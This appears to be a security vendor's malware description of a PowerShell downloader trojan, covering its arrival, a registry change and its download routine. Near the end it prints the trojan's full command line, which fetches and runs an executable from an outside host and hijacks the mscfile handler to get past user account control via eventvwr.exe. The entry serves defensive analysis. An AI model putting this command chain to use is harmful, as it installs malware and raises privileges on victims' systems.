X2KM_POWLOAD.CRG

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• eventvwr.exe -> Event Viewer

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Classes\
mscfile\shell\open\
command
(Default) = "%User Temp%\anyFileName.exe"

Note: This method is set by the malware to make downloaded file the default program/application in opening .msc files

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}extile.co.in/google/logs/file/arrdrkeye.exe

It saves the files it downloads using the following names:

• %User Temp%\anyFileName.exe

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Trend Micro detects the dowloaded file as:

• TSPY_GOLROTED.AUSSKC

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

• It executes the following powershell commands:
  • "%System%\cmd.exe" /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}extile.co.in/google/logs/file/arrdrkeye.exe','%User Temp%\anyFileName.exe') & reg add HKCU\Software\Classes\mscfile\shell\open\command /d %User Temp%\anyFileName.exe /f & eventvwr.exe & PING -n 15 127.0.0.1>nul & %User Temp%\anyFileName.exe;
• It checks for the connection of the address 127.0.0.1 by using ping command and setting its count to 15